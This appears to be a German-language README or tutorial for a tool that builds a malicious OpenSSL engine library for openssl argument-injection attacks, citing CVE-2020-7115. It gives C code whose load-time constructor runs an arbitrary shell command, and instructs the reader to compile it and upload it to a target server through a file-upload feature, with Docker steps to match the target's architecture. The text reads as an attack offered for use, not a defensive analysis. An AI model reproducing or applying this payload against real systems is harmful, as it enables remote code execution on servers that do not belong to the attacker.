
Erstelle deine bösartige Engine in Sekunden
Erstellen Sie Ihre bösartige Engine in Sekunden
Einfaches Skript zum Generieren einer bösartigen Engine, die bereit ist, in openssl Argument Injection Szenarien verwendet zu werden.
Es ist sehr einfach, ändern Sie einfach die Datei engine.c mit dem gewünschten Befehl:
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "COMMAND");
}
Sobald Sie das getan haben, müssen Sie nur noch das Skript wie folgt ausführen:
bash build_engine.sh
Dieser Befehl erstellt einen Ordner namens output, in dem Sie eine Datei namens engine.so finden, die Sie über eine Datei-Upload-Funktion an den Server senden sollten.
Es ist wichtig zu wissen, dass Sie die bösartige Engine mit den gleichen Merkmalen wie das Zielsystem erstellen müssen. Das heißt... wenn das Zielsystem auf einem 64-Bit-Linux läuft, müssen Sie die bösartige Engine auf einem 64-Bit-Linux erstellen.
Docker ist eine fantastische Technologie für solche Dinge, und die Einrichtung Ihrer Umgebung ist sehr einfach.
Laden wir zunächst das Docker-Image von dieser Seite für ein 64-Bit-Debian-Linux-System herunter:
sudo docker pull debian
Dann werden wir den Docker wie folgt starten:
sudo docker run -v `pwd`:/code -it debian
Lassen Sie uns ein wenig verstehen, was wir hier gemacht haben. Das Flag -v wird verwendet, um ein Volume zu erstellen; in diesem Fall verknüpfen wir den Inhalt des Ordners /code mit dem Inhalt unseres aktuellen Arbeitsverzeichnisses, daher die Verwendung von pwd.
Mit 'verknüpfen' meine ich, dass alles, was wir in /code (einem Ordner im Root des Docker-Images) erstellen oder bearbeiten, in pwd sichtbar ist und umgekehrt.
In unserem Fall zeigt pwd auf das folgende Verzeichnis auf unserem lokalen Rechner:
/home/retr0/CVE-2020-7115/
Das -it Flag hingegen kann wie folgt verstanden werden:
Das -t (--tty) Flag weist Docker an, eine virtuelle Terminalsitzung innerhalb des Containers zu erstellen. Dies wird üblicherweise mit der -i (--interactive) Option verwendet, die STDIN auch im detached mode offen hält.
Im Effekt ist die Verwendung des -it Flags nützlich, wenn wir eine Shell des betreffenden Containers erhalten möchten.
Kein Problem, besuchen Sie einfach diesen Beitrag, und ich bin sicher, Sie werden diese Schwachstelle vollständig verstehen.